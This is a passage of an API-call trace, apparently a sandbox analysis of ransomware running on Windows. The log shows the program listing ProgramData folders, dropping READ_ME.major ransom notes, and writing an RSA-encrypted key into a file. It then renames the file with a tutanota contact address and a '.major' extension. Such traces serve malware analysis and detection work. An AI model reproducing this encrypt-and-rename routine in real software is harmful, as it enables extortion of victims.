(dwErrCode=0x0) [0151.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0151.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x570000) returned 1 [0151.877] GetLastError () returned 0x0 [0151.877] SetLastError (dwErrCode=0x0) [0151.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0151.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0151.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0151.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0151.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ed38 [0151.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0151.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ec00 [0151.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0151.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d250 [0151.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7c78 [0151.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0151.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7c78 | out: hHeap=0x570000) returned 1 [0151.878] GetLastError () returned 0x0 [0151.878] SetLastError (dwErrCode=0x0) [0151.878] GetLastError () returned 0x0 [0151.878] SetLastError (dwErrCode=0x0) [0151.878] GetLastError () returned 0x0 [0151.878] SetLastError (dwErrCode=0x0) [0151.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0151.878] CreateFileW (lpFileName="\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\READ_ME.major" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_15.023.20070\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x63c [0151.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0151.878] WriteFile (in: hFile=0x63c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0151.879] CloseHandle (hObject=0x63c) returned 1 [0151.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0151.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d250 | out: hHeap=0x570000) returned 1 [0151.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0151.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec00 | out: hHeap=0x570000) returned 1 [0151.879] FindNextFileW (in: hFindFile=0x630c40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x157bb521, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x157bb521, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x157bb521, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0151.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0151.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7cc0 [0151.879] GetLastError () returned 0x0 [0151.879] SetLastError (dwErrCode=0x0) [0151.879] GetLastError () returned 0x0 [0151.879] SetLastError (dwErrCode=0x0) [0151.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0151.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cc0 | out: hHeap=0x570000) returned 1 [0151.879] GetLastError () returned 0x0 [0151.879] SetLastError (dwErrCode=0x0) [0151.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0151.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0151.879] FindNextFileW (in: hFindFile=0x630c40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="S", cAlternateFileName="")) returned 1 [0151.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0151.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7e70 [0151.880] GetLastError () returned 0x0 [0151.880] SetLastError (dwErrCode=0x0) [0151.880] GetLastError () returned 0x0 [0151.880] SetLastError (dwErrCode=0x0) [0151.880] GetLastError () returned 0x0 [0151.880] SetLastError (dwErrCode=0x0) [0151.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7c30 [0151.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0151.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7918 [0151.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0151.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0151.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7f48 [0151.880] GetLastError () returned 0x0 [0151.880] SetLastError (dwErrCode=0x0) [0151.880] GetLastError () returned 0x0 [0151.880] SetLastError (dwErrCode=0x0) [0151.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0151.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f48 | out: hHeap=0x570000) returned 1 [0151.880] GetLastError () returned 0x0 [0151.880] SetLastError (dwErrCode=0x0) [0151.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ea60 [0151.880] CreateFileW (lpFileName="\\Users\\All Users\\Adobe\\ARM\\S\\READ_ME.major" (normalized: "c:\\users\\all users\\adobe\\arm\\s\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x63c [0151.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea60 | out: hHeap=0x570000) returned 1 [0151.881] WriteFile (in: hFile=0x63c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0151.882] CloseHandle (hObject=0x63c) returned 1 [0151.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0151.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0151.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0151.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7918 | out: hHeap=0x570000) returned 1 [0151.882] FindNextFileW (in: hFindFile=0x630c40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="S", cAlternateFileName="")) returned 0 [0151.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58e990 [0151.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c78d0 | out: hHeap=0x570000) returned 1 [0151.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0151.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1130 | out: hHeap=0x570000) returned 1 [0151.882] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Microsoft OneDrive\\setup\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x157e17c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630b80 [0151.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0151.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7f48 [0151.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0151.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f48 | out: hHeap=0x570000) returned 1 [0151.882] GetLastError () returned 0x12 [0151.882] SetLastError (dwErrCode=0x12) [0151.882] GetLastError () returned 0x12 [0151.882] SetLastError (dwErrCode=0x12) [0151.882] GetLastError () returned 0x12 [0151.882] SetLastError (dwErrCode=0x12) [0151.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0151.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0151.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0151.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0151.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630bc0 [0151.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630bc0 | out: hHeap=0x570000) returned 1 [0151.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0151.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0151.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0151.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0151.883] FindNextFileW (in: hFindFile=0x630b80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x157e17c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0151.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0151.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a80 [0151.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0151.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a80 | out: hHeap=0x570000) returned 1 [0151.883] GetLastError () returned 0x12 [0151.883] SetLastError (dwErrCode=0x12) [0151.883] GetLastError () returned 0x12 [0151.883] SetLastError (dwErrCode=0x12) [0151.883] GetLastError () returned 0x12 [0151.883] SetLastError (dwErrCode=0x12) [0151.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0151.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0151.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0151.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0151.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630ec0 [0151.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630ec0 | out: hHeap=0x570000) returned 1 [0151.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0151.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0151.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0151.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0151.883] FindNextFileW (in: hFindFile=0x630b80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x157e17c9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x157e17c9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x157e17c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0151.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0151.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a80 [0151.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0151.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a80 | out: hHeap=0x570000) returned 1 [0151.883] GetLastError () returned 0x12 [0151.883] SetLastError (dwErrCode=0x12) [0151.883] GetLastError () returned 0x12 [0151.883] SetLastError (dwErrCode=0x12) [0151.883] GetLastError () returned 0x12 [0151.883] SetLastError (dwErrCode=0x12) [0151.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0151.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0151.884] FindNextFileW (in: hFindFile=0x630b80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="refcount.ini", cAlternateFileName="")) returned 1 [0151.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0151.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7e70 [0151.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0151.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0151.884] GetLastError () returned 0x12 [0151.884] SetLastError (dwErrCode=0x12) [0151.884] GetLastError () returned 0x12 [0151.884] SetLastError (dwErrCode=0x12) [0151.884] GetLastError () returned 0x12 [0151.884] SetLastError (dwErrCode=0x12) [0151.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0151.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0151.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0151.884] FindNextFileW (in: hFindFile=0x630b80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="refcount.ini", cAlternateFileName="")) returned 0 [0151.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0151.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0151.884] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.884] SetFileAttributesW (lpFileName="\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini", dwFileAttributes=0x80) returned 1 [0151.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0151.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0d68 [0151.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0151.884] CreateFileW (lpFileName="\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\refcount.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x640 [0151.885] GetFileSizeEx (in: hFile=0x640, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0151.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0151.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d250 [0151.885] ReadFile (in: hFile=0x640, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0151.885] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.885] WriteFile (in: hFile=0x640, lpBuffer=0x59d250*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d250*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0151.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0151.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d250 | out: hHeap=0x570000) returned 1 [0151.885] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0151.885] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.885] WriteFile (in: hFile=0x640, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.886] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.886] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.886] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.886] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="2osOixSPCCzUyR1H2Q8mnw+daSA5esIlMqdu6tDhmQeOepAutVWMzPaxze0eWh8Z\njgWjISefn+l1RgzE8qWjqRYTeaCDs7XR7zG8lbypo5Trfh044IsLI1LToHIav7mH\nnJCn65oDTeKrCVYcugXj8p8DfsiIP0pZHEBkIXlscJlICn46F1pXP8y14GcbjNLl\nW0Y0EMnrpBwWewXayFjxUVsgrWCSKIbIweLTAmrfd00Vr/HuR0PHbPYzBe+qsEr/\nyGnK/cOVQOlj4ECPM38qWLXOC/isz7VpV89ISYhpzbriVOjnz3VwMnxzB1Nqxy9l\ngWGmQBf4EqWiRjc93f7nkg==\n", pcchString=0x2e3f9a8) returned 1 [0151.886] WriteFile (in: hFile=0x640, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.886] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.886] WriteFile (in: hFile=0x640, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.886] CloseHandle (hObject=0x640) returned 1 [0151.886] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.886] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\refcount.ini"), lpNewFileName="\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\refcount.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0d68 | out: hHeap=0x570000) returned 1 [0151.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0151.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0151.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0151.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a38 [0151.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e990 | out: hHeap=0x570000) returned 1 [0151.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0151.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0151.899] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Oracle\\Java\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x157e17c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630bc0 [0151.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0151.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0151.900] GetLastError () returned 0x0 [0151.900] SetLastError (dwErrCode=0x0) [0151.900] GetLastError () returned 0x0 [0151.900] SetLastError (dwErrCode=0x0) [0151.900] GetLastError () returned 0x0 [0151.900] SetLastError (dwErrCode=0x0) [0151.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4128 [0151.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0151.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0151.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0151.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630e80 [0151.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630e80 | out: hHeap=0x570000) returned 1 [0151.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0151.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0151.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0151.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4128 | out: hHeap=0x570000) returned 1 [0151.900] FindNextFileW (in: hFindFile=0x630bc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x157e17c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0151.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0151.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0151.900] GetLastError () returned 0x0 [0151.900] SetLastError (dwErrCode=0x0) [0151.900] GetLastError () returned 0x0 [0151.900] SetLastError (dwErrCode=0x0) [0151.900] GetLastError () returned 0x0 [0151.900] SetLastError (dwErrCode=0x0) 